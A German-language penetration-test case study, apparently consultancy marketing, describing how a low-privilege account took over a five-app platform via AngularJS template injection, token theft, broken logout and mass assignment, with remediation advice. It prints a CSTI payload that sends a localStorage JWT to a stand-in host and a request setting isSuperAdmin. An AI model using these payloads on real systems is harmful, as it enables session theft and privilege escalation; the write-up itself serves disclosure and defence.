Ein Betriebskonto, vollständige Übernahme der Plattform

Der Kunde gab uns Zugriff auf fünf verbundene Webanwendungen und eine Frage: Kann jemand mit niedrigen Rechten das erreichen, was der Führung vorbehalten ist. Die Antwort dauerte zwei Wochen und fiel schlechter aus, als irgendjemand angenommen hatte.
Ein Konto, das eigentlich nur ein Modul sehen sollte, endete als Super-Administrator der gesamten Plattform, mit der Möglichkeit, weitere Super-Admins anzulegen.
Die gesamte Kette zeigen wir hier Schritt für Schritt, mit den CSTI-Payloads, der Eskalation über Mass Assignment und einer Zuordnung zu MITRE ATT&CK für das Blue Team.
Kontext
Ein Administrator öffnete eine ganz gewöhnliche Liste von Datensätzen. Er klickte nicht auf einen verdächtigen Link, lud keinen Anhang herunter, tippte kein Passwort auf einer fremden Seite. Er tat eine der routinemäßigsten Dinge seiner Arbeit: Er öffnete eine Ansicht, die er täglich öffnet. In derselben Sekunde verließ sein Sitzungstoken das Gebäude und landete auf unserem Server.
Der Kunde bat uns, eine Plattform aus fünf getrennten Webanwendungen zu testen. Jede hat ein eigenes Anmeldefenster, aber Identität und Autorisierung sind gemeinsam: Eine Anmeldung authentifiziert den Nutzer in allen fünf, und das Sitzungstoken im JWT-Format liegt auf der Browser-Seite, im Local Storage. Wir führten den Test im Grey-Box-Modell auf der Produktionsumgebung durch, unter einer harten Bedingung: Der Betrieb der Anwendungen durfte nicht gestört und keine Produktionsdaten angefasst werden. Wir erhielten einen Satz Testkonten für alle acht Rollen im System, von der niedrigsten Betriebsrolle bis zum Administrator.
Die Herausforderung
Die Schutzschicht der Anwendung war vorbereitet. Das ist wichtig, weil es die ganze Geschichte verändert. Der Verkehr lief ausschließlich über HTTPS, der Server akzeptierte nur modernes TLS 1.2 und 1.3, ältere Protokolle waren abgeschaltet. Die Passwortrichtlinie wurde einheitlich im Frontend und im Backend durchgesetzt, ließ sich also nicht mit einem simplen Umgehen der Browser-Validierung aushebeln. Es gab MFA. Es gab ein Modell aus acht Rollen mit granularer Rechteverteilung. Es gab SSO. Auf der Architekturfolie sah das ganz ordentlich aus.
Das Problem lag in zwei Annahmen, die einzeln harmlos wirken und zusammen die Tür öffnen. Erstens: Die Sitzung lebt auf der Client-Seite, an einem Ort, an den jedes auf der Seite laufende JavaScript herankommt. Zweitens: Das Frontend läuft auf einem Framework, das seit Dezember 2021 keine Sicherheitspatches mehr erhält. Dazu kam eine ungleich durchgesetzte Autorisierung, einmal sauber, einmal gar nicht. Jeder dieser Punkte lässt sich für sich verteidigen. Das Problem ist, dass ein Angreifer nicht einzelne Teile angreift, sondern das zusammengesetzte Ganze.
Was wir getan haben
Wir begannen mit der Informationsbeschaffung. Wir kartierten die fünf Anwendungen, die acht Rollen und wer worauf zugreift. Unterwegs stellte sich die Anwendung selbst vor: geschwätzige Fehlermeldungen verrieten die Backend-Technologie, und die Analyse des Frontends zeigte AngularJS in Version 1.7.9. Diese Version ist nach dem Support-Ende. Bei der Gelegenheit zählten wir 20 öffentlich bekannte CVE-Schwachstellen in vier Client-Bibliotheken, deren Versionen die Anwendung offen preisgab.
Dann fanden sich vier Dinge, die zusammen eine Übernahmekette bilden.
Eine Zugriffskontrolle, die zu wenig prüft. Über zehn API-Endpunkte prüften nur, ob der Nutzer angemeldet ist, ohne zu prüfen, ob seine Rolle überhaupt zu der Ressource berechtigt. Das Modell aus acht Rollen existierte in der Dokumentation, aber nicht im Code dieser Endpunkte.
GET /api/v1/<zasob>/<ID> # ta sama odpowiedź dla każdej z 8 ról
Code-Einschleusung über CSTI. AngularJS wertet Ausdrücke in doppelten geschweiften Klammern aus. Gelangen Nutzerdaten ohne Bereinigung in eine Vorlage, behandelt der Browser sie als Code, nicht als Text. Unser Proof of Concept brach aus der Framework-Sandbox aus und führte beliebiges JavaScript aus:
{{ constructor.constructor('alert(1)')() }}Wir bestätigten das in drei verschiedenen Komponenten, aber das Problem ist architektonisch, nicht punktuell. Es rührt vom Framework selbst her, also ist jede Stelle, an der Nutzerdaten im AngularJS-Kontext ohne Bereinigung gerendert werden, ein möglicher Vektor.
Ein Logout, das nicht ausloggte. Jede der fünf Anwendungen hält ihr eigenes Token im Local Storage. Ein Klick auf "Abmelden" in einer davon entfernte nur das Token dieser einen Anwendung und ließ die vier übrigen aktiv. Es ist ein wenig so, als hätte ein Schloss fünf Schlüssel und der Abmeldeknopf zöge höflich einen heraus und ließe vier stecken. Im Extremfall konnten in einem Browser die Tokens zweier verschiedener Nutzer gleichzeitig existieren. Die fehlende Sitzungsisolierung zwischen den Anwendungen erwies sich als das Glied, das CSTI von einer Kuriosität zu einer echten Kontoübernahme machte.
Wir setzten alles zusammen. Vom Konto mit den niedrigsten Rechten platzierten wir einen CSTI-Payload in einem Feld, das auf einer auch für eine höhere Rolle zugänglichen Ansicht gerendert wird. Der Payload liest das JWT aus dem Local Storage und schickt es über einen Out-of-Band-Kanal an einen von uns kontrollierten Server:
{{ constructor.constructor('fetch("https://oob.example/?t="+localStorage.getItem("app_access_token"))')() }}Als der Administrator diese Ansicht öffnete, führte sein Browser unseren Code aus und schickte uns sein Token. Das Token war 48 Stunden gültig, wir hatten also ein bequemes Zeitfenster. Wir hängten es als Authorization: Bearer <token> an die Anfragen, und von da an behandelte uns die API wie den Administrator.
Zum Schluss die Eskalation an die Spitze über Mass Assignment. Die Anfrage zur Profiländerung trug im Körper ein Feld, das nirgends in der Oberfläche auftaucht und das das Backend ohne Validierung annahm:
PATCH /api/v1/users/<ID>
{
"isSuperAdmin": true // pole niewidoczne w UI, backend akceptuje bez kontroli
}Wir setzten es auf true. Der Administrator wurde zum Super-Administrator. Wir gewannen zuvor nicht verfügbare Funktionen, darunter die Möglichkeit, ein weiteres Konto mit Super-Administrator-Rechten anzulegen. Ein Betriebskonto hatte die höchsten Rechte erlangt.
Dazu kommt eine Reihe von Schwachstellen, die diese Kette zusätzlich verbreitern. MFA stützte sich auf einen sechsstelligen SMS-Code, fünf Minuten gültig, ohne Versuchslimit und ohne Ungültigmachen des Codes. Eine Million Kombinationen klingt nach viel, aber ohne Versuchslimit und mit der Möglichkeit, immer wieder einen neuen Code anzufordern, hatte das Angriffsfenster praktisch kein Ende. Die Anmeldung hatte keine Begrenzung der Versuche, ein Brute-Force-Angriff auf Passwörter lief also widerstandslos. Der Anmelde-Endpunkt verriet über einen Unterschied in der Antwortzeit, ob ein Login existiert: etwa 500 ms für einen vorhandenen Nutzer, etwa 150 ms für einen nicht vorhandenen, bei identischer Fehlermeldung. 100 ms reichen dafür mehr als aus, um eine Liste echter Logins für weitere Angriffe aufzubauen. Dazu kam ein unbeschränkter Datei-Upload, der nur anhand der Endung geprüft wurde, und eine CORS-Konfiguration, die jeder Domain vertraute.
Die Zuordnung der Kette zu MITRE ATT&CK, für das Team, das die Erkennung bauen wird:
Das Ergebnis
Die Rolle, die ein Modul sehen sollte, bekam die Schlüssel zur gesamten Plattform und die Möglichkeit, weitere nachzubauen. Das war kein einzelner Fehler, es war eine Kette: ein Framework nach dem offiziellen Support-Ende, eine Sitzung dort gehalten, wo jedes beliebige Skript hinreicht, ein Logout, das Tokens aktiv ließ, und eine Autorisierung, die "sind Sie angemeldet" statt "sind Sie berechtigt" prüft. Entfernen Sie ein beliebiges Glied, und die ganze Kette reißt. Genau so sind die Empfehlungen geordnet.
Was zu beheben ist, in der Reihenfolge nach Dringlichkeit:
- Erzwingen Sie die Autorisierungsprüfung an jedem API-Endpunkt einzeln und prüfen Sie die Rolle, nicht nur die Tatsache der Authentifizierung.
- Nehmen Sie dem Backend die Möglichkeit, Felder anzunehmen, die es in der Oberfläche nicht gibt. Einen Wert wie isSuperAdmin darf nur ändern, wer bereits Super-Administrator ist.
- Bis zur Migration weg von AngularJS validieren und bereinigen Sie streng alle Nutzerdaten, die im Vorlagenkontext gerendert werden. Planen Sie mittelfristig den Wechsel auf ein aktiv unterstütztes Framework.
- Reparieren Sie das Logout so, dass ein Abmeldevorgang die Tokens aller Anwendungen der Plattform ungültig macht, und erwägen Sie, die Sitzung aus dem Local Storage zu verlagern.
- Verkürzen Sie die Lebensdauer des JWT auf 15 Minuten und ergänzen Sie einen Aktualisierungsmechanismus.
- Machen Sie den MFA-Code nach drei bis fünf fehlgeschlagenen Versuchen ungültig und führen Sie eine Ratenbegrenzung bei der Anmeldung ein, pro Adresse und pro Login.
- Gleichen Sie die Antwortzeit der Anmeldung an, sodass der Server für ein vorhandenes und ein nicht vorhandenes Konto denselben Aufwand verbucht.
- Begrenzen Sie den Datei-Upload durch eine Prüfung des Inhaltstyps und engen Sie CORS auf eine Positivliste von Domains ein.
Eine Sache verdient Anerkennung. Ein Teil der Schwachstellen verschwand noch während des Tests, nachdem eine neue Version der Anwendung eingespielt wurde. Das ist ein gutes Zeichen: Ein Team, das Fehler behebt, bevor der Test endet, arbeitet schnell. Ihm fehlte nur jemand, der diese Fehler zeigt.
Werfen Sie kurz einen Blick in Ihre eigene Anwendung. Wo hält sie Sitzungstokens, und was genau geschieht mit ihnen, wenn ein Nutzer auf "Abmelden" klickt? Lautet die Antwort "im Local Storage" und "eines von mehreren wird entfernt", dann kann jedes Textfeld in dieser Anwendung eine stille Weitergabe einer fremden Sitzung sein. Wir prüfen das gern, bevor es ein anderer tut.
Vereinbaren Sie ein Gespräch mit einem Berater. Gemeinsam legen wir den Umfang eines Tests Ihrer Webplattform fest, die Risiken und wie eine solche Kette bei Ihnen aussehen könnte.
Alle Fallstudien sind nach Sektor anonymisiert, ohne Namen, Daten oder Angaben, die den Kunden identifizieren könnten, gemäß der Vertraulichkeit. Wir veröffentlichen niemals echte Schwachstellen oder technische Kundendaten.